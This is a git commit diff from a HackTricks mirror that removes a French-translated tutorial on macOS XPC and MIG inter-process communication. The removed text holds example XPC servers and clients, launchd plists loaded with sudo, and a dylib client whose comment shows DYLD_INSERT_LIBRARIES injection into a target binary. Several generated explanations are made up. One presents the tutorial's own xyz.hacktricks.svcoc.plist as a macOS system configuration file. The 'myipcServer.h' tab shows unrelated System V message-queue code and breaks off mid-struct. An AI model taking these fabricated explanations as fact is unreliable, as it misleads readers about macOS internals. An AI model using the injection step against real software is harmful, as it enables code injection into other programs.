mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
c3b80d0fb7
commit
1130909f48
6 changed files with 1428 additions and 793 deletions
|
@ -161,10 +161,12 @@
|
||||||
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
|
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
|
||||||
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
|
||||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||||
|
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||||
|
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||||
|
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||||
|
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check.md)
|
||||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md)
|
|
||||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-connecting-process-check.md)
|
|
||||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||||
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
|
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
|
||||||
|
|
|
@ -781,803 +781,24 @@ Dans cette technique, un thread du processus est détourné :
|
||||||
|
|
||||||
### Informations de base
|
### Informations de base
|
||||||
|
|
||||||
XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre les processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** du système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.
|
XPC, qui signifie XNU (le noyau utilisé par macOS) inter-Process Communication, est un framework pour la **communication entre les processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** du système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels causés par un processus compromis.
|
||||||
|
|
||||||
XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes permettant à différents programmes s'exécutant sur le même système d'échanger des données.
|
Pour plus d'informations sur le fonctionnement de cette **communication** et sur les vulnérabilités potentielles, consultez :
|
||||||
|
|
||||||
Les principaux avantages de XPC sont les suivants :
|
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
|
||||||
|
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
|
||||||
1. **Sécurité** : En séparant le travail en différents processus, chaque processus peut se voir accorder uniquement les autorisations dont il a besoin. Cela signifie que même si un processus est compromis, il a une capacité limitée à causer des dommages.
|
|
||||||
2. **Stabilité** : XPC aide à isoler les plantages dans le composant où ils se produisent. Si un processus plante, il peut être redémarré sans affecter le reste du système.
|
|
||||||
3. **Performance** : XPC permet une concurrence facile, car différentes tâches peuvent être exécutées simultanément dans différents processus.
|
|
||||||
|
|
||||||
Le seul **inconvénient** est que **séparer une application en plusieurs processus** qui communiquent via XPC est **moins efficace**. Mais dans les systèmes d'aujourd'hui, cela n'est presque pas perceptible et les avantages sont meilleurs.
|
|
||||||
|
|
||||||
### Services XPC spécifiques à l'application
|
|
||||||
|
|
||||||
Les composants XPC d'une application se trouvent **à l'intérieur de l'application elle-même**. Par exemple, dans Safari, vous pouvez les trouver dans **`/Applications/Safari.app/Contents/XPCServices`**. Ils ont l'extension **`.xpc`** (comme **`com.apple.Safari.SandboxBroker.xpc`**) et sont **également des bundles** avec le binaire principal à l'intérieur : `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` et un `Info.plist : /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
|
||||||
|
|
||||||
Comme vous pouvez le penser, un **composant XPC aura des autorisations et des privilèges différents** des autres composants XPC ou du binaire principal de l'application. SAUF si un service XPC est configuré avec [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) défini sur "True" dans son fichier **Info.plist**. Dans ce cas, le service XPC s'exécutera dans la **même session de sécurité que l'application** qui l'a appelé.
|
|
||||||
|
|
||||||
Les services XPC sont **démarrés** par **launchd** lorsque cela est nécessaire et **arrêtés** une fois que toutes les tâches sont **terminées** pour libérer les ressources système. Les composants XPC spécifiques à l'application ne peuvent être utilisés que par l'application, réduisant ainsi les risques liés aux vulnérabilités potentielles.
|
|
||||||
|
|
||||||
### Services XPC à l'échelle du système
|
|
||||||
|
|
||||||
Les services XPC à l'échelle du système sont accessibles à tous les utilisateurs. Ces services, qu'ils soient de type launchd ou Mach, doivent être **définis dans des fichiers plist** situés dans des répertoires spécifiés tels que **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
|
|
||||||
|
|
||||||
Ces fichiers plist auront une clé appelée **`MachServices`** avec le nom du service, et une clé appelée **`Program`** avec le chemin vers le binaire :
|
|
||||||
```xml
|
|
||||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
|
||||||
|
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
||||||
<plist version="1.0">
|
|
||||||
<dict>
|
|
||||||
<key>Program</key>
|
|
||||||
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
|
|
||||||
<key>AbandonProcessGroup</key>
|
|
||||||
<true/>
|
|
||||||
<key>KeepAlive</key>
|
|
||||||
<true/>
|
|
||||||
<key>Label</key>
|
|
||||||
<string>com.jamf.management.daemon</string>
|
|
||||||
<key>MachServices</key>
|
|
||||||
<dict>
|
|
||||||
<key>com.jamf.management.daemon.aad</key>
|
|
||||||
<true/>
|
|
||||||
<key>com.jamf.management.daemon.agent</key>
|
|
||||||
<true/>
|
|
||||||
<key>com.jamf.management.daemon.binary</key>
|
|
||||||
<true/>
|
|
||||||
<key>com.jamf.management.daemon.selfservice</key>
|
|
||||||
<true/>
|
|
||||||
<key>com.jamf.management.daemon.service</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
<key>RunAtLoad</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
</plist>
|
|
||||||
```
|
|
||||||
Ceux dans **`LaunchDameons`** sont exécutés par root. Donc, si un processus non privilégié peut communiquer avec l'un d'entre eux, il pourrait être en mesure d'escalader les privilèges.
|
|
||||||
|
|
||||||
### Messages d'événement XPC
|
|
||||||
|
|
||||||
Les applications peuvent **s'abonner** à différents **messages d'événement**, ce qui leur permet d'être **initiées à la demande** lorsque de tels événements se produisent. La **configuration** de ces services est effectuée dans des fichiers **plist de lancement**, situés dans les **mêmes répertoires que les précédents** et contenant une clé supplémentaire **`LaunchEvent`**.
|
|
||||||
|
|
||||||
### Vérification du processus de connexion XPC
|
|
||||||
|
|
||||||
Lorsqu'un processus essaie d'appeler une méthode via une connexion XPC, le **service XPC doit vérifier si ce processus est autorisé à se connecter**. Voici les moyens courants de vérifier cela et les pièges courants :
|
|
||||||
|
|
||||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
|
||||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Autorisation XPC
|
## MIG - Mach Interface Generator
|
||||||
|
|
||||||
Apple permet également aux applications de **configurer certains droits et la manière de les obtenir**, de sorte que si le processus appelant les possède, il serait **autorisé à appeler une méthode** du service XPC :
|
MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le code nécessaire pour que le serveur et le client puissent communiquer avec une définition donnée. Même si le code généré est peu esthétique, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.
|
||||||
|
|
||||||
{% content-ref url="macos-xpc-authorization.md" %}
|
Pour plus d'informations, consultez :
|
||||||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
|
||||||
|
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
|
||||||
|
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Exemple de code C
|
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="xpc_server.c" %}
|
|
||||||
```c
|
|
||||||
// gcc xpc_server.c -o xpc_server
|
|
||||||
|
|
||||||
#include <xpc/xpc.h>
|
|
||||||
|
|
||||||
static void handle_event(xpc_object_t event) {
|
|
||||||
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
|
||||||
// Print received message
|
|
||||||
const char* received_message = xpc_dictionary_get_string(event, "message");
|
|
||||||
printf("Received message: %s\n", received_message);
|
|
||||||
|
|
||||||
// Create a response dictionary
|
|
||||||
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
|
|
||||||
xpc_dictionary_set_string(response, "received", "received");
|
|
||||||
|
|
||||||
// Send response
|
|
||||||
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
|
|
||||||
xpc_connection_send_message(remote, response);
|
|
||||||
|
|
||||||
// Clean up
|
|
||||||
xpc_release(response);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void handle_connection(xpc_connection_t connection) {
|
|
||||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
|
||||||
handle_event(event);
|
|
||||||
});
|
|
||||||
xpc_connection_resume(connection);
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(int argc, const char *argv[]) {
|
|
||||||
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
|
|
||||||
dispatch_get_main_queue(),
|
|
||||||
XPC_CONNECTION_MACH_SERVICE_LISTENER);
|
|
||||||
if (!service) {
|
|
||||||
fprintf(stderr, "Failed to create service.\n");
|
|
||||||
exit(EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
|
|
||||||
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
|
|
||||||
xpc_type_t type = xpc_get_type(event);
|
|
||||||
if (type == XPC_TYPE_CONNECTION) {
|
|
||||||
handle_connection(event);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
xpc_connection_resume(service);
|
|
||||||
dispatch_main();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% tab title="xpc_client.c" %}
|
|
||||||
|
|
||||||
Le fichier `xpc_client.c` est un exemple de code source en langage C qui illustre l'utilisation de l'API XPC pour la communication inter-processus (IPC) sur macOS. L'API XPC permet aux processus de communiquer entre eux de manière sécurisée et efficace en utilisant des messages structurés.
|
|
||||||
|
|
||||||
Dans cet exemple, un client XPC est créé et utilisé pour envoyer un message à un service XPC distant. Le client XPC utilise la fonction `xpc_connection_create` pour créer une connexion vers le service distant, puis utilise la fonction `xpc_dictionary_create` pour créer un dictionnaire XPC contenant les données à envoyer.
|
|
||||||
|
|
||||||
Une fois que le dictionnaire XPC est créé, le client XPC utilise la fonction `xpc_connection_send_message` pour envoyer le message au service distant. Le service distant peut ensuite recevoir le message en utilisant une méthode similaire.
|
|
||||||
|
|
||||||
Il est important de noter que l'API XPC offre des mécanismes de sécurité intégrés pour protéger la communication inter-processus. Par exemple, les connexions XPC peuvent être configurées pour utiliser des autorisations spécifiques, et les messages XPC peuvent être chiffrés pour assurer la confidentialité des données.
|
|
||||||
|
|
||||||
Ce fichier `xpc_client.c` est un exemple de base pour comprendre comment utiliser l'API XPC pour la communication inter-processus sur macOS. Il peut être utilisé comme point de départ pour développer des applications qui nécessitent une communication sécurisée entre les processus.
|
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```c
|
|
||||||
// gcc xpc_client.c -o xpc_client
|
|
||||||
|
|
||||||
#include <xpc/xpc.h>
|
|
||||||
|
|
||||||
int main(int argc, const char *argv[]) {
|
|
||||||
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
|
||||||
|
|
||||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
|
|
||||||
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
|
|
||||||
// Print received message
|
|
||||||
const char* received_message = xpc_dictionary_get_string(event, "received");
|
|
||||||
printf("Received message: %s\n", received_message);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
xpc_connection_resume(connection);
|
|
||||||
|
|
||||||
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
|
||||||
xpc_dictionary_set_string(message, "message", "Hello, Server!");
|
|
||||||
|
|
||||||
xpc_connection_send_message(connection, message);
|
|
||||||
|
|
||||||
dispatch_main();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% tab title="xyz.hacktricks.service.plist" %}
|
|
||||||
```xml
|
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
|
||||||
<dict>
|
|
||||||
<key>Label</key>
|
|
||||||
<string>xyz.hacktricks.service</string>
|
|
||||||
<key>MachServices</key>
|
|
||||||
<dict>
|
|
||||||
<key>xyz.hacktricks.service</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
<key>Program</key>
|
|
||||||
<string>/tmp/xpc_server</string>
|
|
||||||
<key>ProgramArguments</key>
|
|
||||||
<array>
|
|
||||||
<string>/tmp/xpc_server</string>
|
|
||||||
</array>
|
|
||||||
</dict>
|
|
||||||
</plist>
|
|
||||||
```
|
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
```bash
|
|
||||||
# Compile the server & client
|
|
||||||
gcc xpc_server.c -o xpc_server
|
|
||||||
gcc xpc_client.c -o xpc_client
|
|
||||||
|
|
||||||
# Save server on it's location
|
|
||||||
cp xpc_server /tmp
|
|
||||||
|
|
||||||
# Load daemon
|
|
||||||
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
|
|
||||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
|
||||||
|
|
||||||
# Call client
|
|
||||||
./xpc_client
|
|
||||||
|
|
||||||
# Clean
|
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
|
||||||
```
|
|
||||||
### Exemple de code ObjectiveC
|
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="oc_xpc_server.m" %}
|
|
||||||
```objectivec
|
|
||||||
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
|
||||||
#include <Foundation/Foundation.h>
|
|
||||||
|
|
||||||
@protocol MyXPCProtocol
|
|
||||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
|
||||||
@end
|
|
||||||
|
|
||||||
@interface MyXPCObject : NSObject <MyXPCProtocol>
|
|
||||||
@end
|
|
||||||
|
|
||||||
|
|
||||||
@implementation MyXPCObject
|
|
||||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
|
|
||||||
NSLog(@"Received message: %@", some_string);
|
|
||||||
NSString *response = @"Received";
|
|
||||||
reply(response);
|
|
||||||
}
|
|
||||||
@end
|
|
||||||
|
|
||||||
@interface MyDelegate : NSObject <NSXPCListenerDelegate>
|
|
||||||
@end
|
|
||||||
|
|
||||||
|
|
||||||
@implementation MyDelegate
|
|
||||||
|
|
||||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
|
||||||
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
|
||||||
|
|
||||||
MyXPCObject *my_object = [MyXPCObject new];
|
|
||||||
|
|
||||||
newConnection.exportedObject = my_object;
|
|
||||||
|
|
||||||
[newConnection resume];
|
|
||||||
return YES;
|
|
||||||
}
|
|
||||||
@end
|
|
||||||
|
|
||||||
int main(void) {
|
|
||||||
|
|
||||||
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
|
|
||||||
|
|
||||||
id <NSXPCListenerDelegate> delegate = [MyDelegate new];
|
|
||||||
listener.delegate = delegate;
|
|
||||||
[listener resume];
|
|
||||||
|
|
||||||
sleep(10); // Fake something is done and then it ends
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% tab title="oc_xpc_client.m" %}
|
|
||||||
```objectivec
|
|
||||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
|
||||||
#include <Foundation/Foundation.h>
|
|
||||||
|
|
||||||
@protocol MyXPCProtocol
|
|
||||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
|
||||||
@end
|
|
||||||
|
|
||||||
int main(void) {
|
|
||||||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
|
|
||||||
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
|
|
||||||
[connection resume];
|
|
||||||
|
|
||||||
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
|
||||||
NSLog(@"Received response: %@", response);
|
|
||||||
}];
|
|
||||||
|
|
||||||
[[NSRunLoop currentRunLoop] run];
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plist est un fichier de configuration utilisé par le système d'exploitation macOS pour gérer les services de communication inter-processus (IPC). L'IPC est un mécanisme qui permet à différents processus de communiquer entre eux, que ce soit sur la même machine ou sur des machines différentes.
|
|
||||||
|
|
||||||
Ce fichier de configuration spécifie les paramètres et les autorisations pour les services IPC spécifiques. Il peut être utilisé pour restreindre l'accès aux services IPC, limiter les privilèges des processus ou définir des règles de sécurité supplémentaires.
|
|
||||||
|
|
||||||
Il est important de noter que la modification de ce fichier de configuration peut avoir des conséquences importantes sur le fonctionnement du système d'exploitation. Il est recommandé de faire preuve de prudence lors de la modification de ce fichier et de s'assurer de comprendre les implications de chaque modification.
|
|
||||||
|
|
||||||
Pour modifier ce fichier de configuration, vous pouvez utiliser un éditeur de texte ou une interface graphique spécifique à macOS. Assurez-vous de sauvegarder une copie du fichier d'origine avant de le modifier, au cas où vous auriez besoin de revenir à la configuration précédente.
|
|
||||||
|
|
||||||
Une fois que vous avez modifié le fichier de configuration, vous devrez peut-être redémarrer le système d'exploitation pour que les modifications prennent effet.
|
|
||||||
|
|
||||||
Il est également important de noter que la modification de ce fichier de configuration peut nécessiter des privilèges d'administrateur. Assurez-vous d'avoir les autorisations appropriées avant de procéder à des modifications.
|
|
||||||
|
|
||||||
En résumé, xyz.hacktricks.svcoc.plist est un fichier de configuration utilisé par macOS pour gérer les services IPC. Il peut être modifié pour restreindre l'accès aux services IPC, limiter les privilèges des processus ou définir des règles de sécurité supplémentaires.
|
|
||||||
```xml
|
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
|
||||||
<dict>
|
|
||||||
<key>Label</key>
|
|
||||||
<string>xyz.hacktricks.svcoc</string>
|
|
||||||
<key>MachServices</key>
|
|
||||||
<dict>
|
|
||||||
<key>xyz.hacktricks.svcoc</key>
|
|
||||||
<true/>
|
|
||||||
</dict>
|
|
||||||
<key>Program</key>
|
|
||||||
<string>/tmp/oc_xpc_server</string>
|
|
||||||
<key>ProgramArguments</key>
|
|
||||||
<array>
|
|
||||||
<string>/tmp/oc_xpc_server</string>
|
|
||||||
</array>
|
|
||||||
</dict>
|
|
||||||
</plist>
|
|
||||||
```
|
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
```bash
|
|
||||||
# Compile the server & client
|
|
||||||
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
|
||||||
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
|
||||||
|
|
||||||
# Save server on it's location
|
|
||||||
cp oc_xpc_server /tmp
|
|
||||||
|
|
||||||
# Load daemon
|
|
||||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
|
||||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
|
||||||
|
|
||||||
# Call client
|
|
||||||
./oc_xpc_client
|
|
||||||
|
|
||||||
# Clean
|
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
|
||||||
```
|
|
||||||
### Client à l'intérieur d'un code Dylib
|
|
||||||
|
|
||||||
In macOS, a Dylib is a dynamic library that contains executable code and data that can be shared among multiple applications. It is similar to a DLL (Dynamic Link Library) in Windows.
|
|
||||||
|
|
||||||
When a client application wants to use the functionality provided by a Dylib, it needs to load the Dylib and establish a connection with it. This is done through a mechanism called Inter-Process Communication (IPC).
|
|
||||||
|
|
||||||
The client code inside the Dylib is responsible for handling the IPC communication. It acts as a bridge between the client application and the Dylib, allowing them to exchange messages and data.
|
|
||||||
|
|
||||||
To implement IPC, the client code typically uses a framework like Mach or XPC. These frameworks provide APIs for creating and managing communication channels between processes.
|
|
||||||
|
|
||||||
The client code inside the Dylib can define various IPC endpoints, which are entry points for receiving messages from the client application. It can also define methods or functions that can be called by the client application to perform specific tasks.
|
|
||||||
|
|
||||||
When the client application wants to communicate with the Dylib, it sends a message to one of the IPC endpoints. The client code inside the Dylib receives the message, processes it, and sends a response back to the client application if necessary.
|
|
||||||
|
|
||||||
IPC communication between the client application and the Dylib can be used for various purposes, such as sharing data, invoking functionality, or coordinating actions between different processes.
|
|
||||||
|
|
||||||
Overall, the client code inside a Dylib plays a crucial role in enabling communication and interaction between the client application and the shared library. It facilitates the exchange of information and allows the client application to leverage the functionality provided by the Dylib.
|
|
||||||
```
|
|
||||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
|
||||||
// gcc injection example:
|
|
||||||
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
|
|
||||||
|
|
||||||
#import <Foundation/Foundation.h>
|
|
||||||
|
|
||||||
@protocol MyXPCProtocol
|
|
||||||
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
|
||||||
@end
|
|
||||||
|
|
||||||
__attribute__((constructor))
|
|
||||||
static void customConstructor(int argc, const char **argv)
|
|
||||||
{
|
|
||||||
NSString* _serviceName = @"xyz.hacktricks.svcoc";
|
|
||||||
|
|
||||||
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
|
|
||||||
|
|
||||||
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
|
|
||||||
|
|
||||||
[_agentConnection resume];
|
|
||||||
|
|
||||||
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
|
||||||
(void)error;
|
|
||||||
NSLog(@"Connection Failure");
|
|
||||||
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
|
||||||
NSLog(@"Received response: %@", response);
|
|
||||||
} ];
|
|
||||||
NSLog(@"Done!");
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
## MIG - Générateur d'interface Mach
|
|
||||||
|
|
||||||
MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le code nécessaire pour que le serveur et le client puissent communiquer avec une définition donnée. Même si le code généré est moche, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.
|
|
||||||
|
|
||||||
### Exemple
|
|
||||||
|
|
||||||
Créez un fichier de définition, dans ce cas avec une fonction très simple :
|
|
||||||
|
|
||||||
{% code title="myipc.defs" %}
|
|
||||||
```cpp
|
|
||||||
subsystem myipc 500; // Arbitrary name and id
|
|
||||||
|
|
||||||
userprefix USERPREF; // Prefix for created functions in the client
|
|
||||||
serverprefix SERVERPREF; // Prefix for created functions in the server
|
|
||||||
|
|
||||||
#include <mach/mach_types.defs>
|
|
||||||
#include <mach/std_types.defs>
|
|
||||||
|
|
||||||
simpleroutine Subtract(
|
|
||||||
server_port : mach_port_t;
|
|
||||||
n1 : uint32_t;
|
|
||||||
n2 : uint32_t);
|
|
||||||
```
|
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
Maintenant, utilisez mig pour générer le code serveur et client qui pourra communiquer entre eux pour appeler la fonction Subtract :
|
|
||||||
```bash
|
|
||||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
|
||||||
```
|
|
||||||
Plusieurs nouveaux fichiers seront créés dans le répertoire actuel.
|
|
||||||
|
|
||||||
Dans les fichiers **`myipcServer.c`** et **`myipcServer.h`**, vous pouvez trouver la déclaration et la définition de la structure **`SERVERPREFmyipc_subsystem`**, qui définit essentiellement la fonction à appeler en fonction de l'ID du message reçu (nous avons indiqué un numéro de départ de 500):
|
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="myipcServer.c" %}
|
|
||||||
```c
|
|
||||||
/* Description of this subsystem, for use in direct RPC */
|
|
||||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
|
||||||
myipc_server_routine,
|
|
||||||
500, // start ID
|
|
||||||
501, // end ID
|
|
||||||
(mach_msg_size_t)sizeof(union __ReplyUnion__SERVERPREFmyipc_subsystem),
|
|
||||||
(vm_address_t)0,
|
|
||||||
{
|
|
||||||
{ (mig_impl_routine_t) 0,
|
|
||||||
// Function to call
|
|
||||||
(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},
|
|
||||||
}
|
|
||||||
};
|
|
||||||
```
|
|
||||||
{% tab title="myipcServer.h" %}
|
|
||||||
|
|
||||||
```c
|
|
||||||
#ifndef MYIPCSERVER_H
|
|
||||||
#define MYIPCSERVER_H
|
|
||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/ipc.h>
|
|
||||||
#include <sys/msg.h>
|
|
||||||
|
|
||||||
#define MAX_TEXT_SIZE 512
|
|
||||||
|
|
||||||
struct mymsgbuf {
|
|
||||||
long mtype;
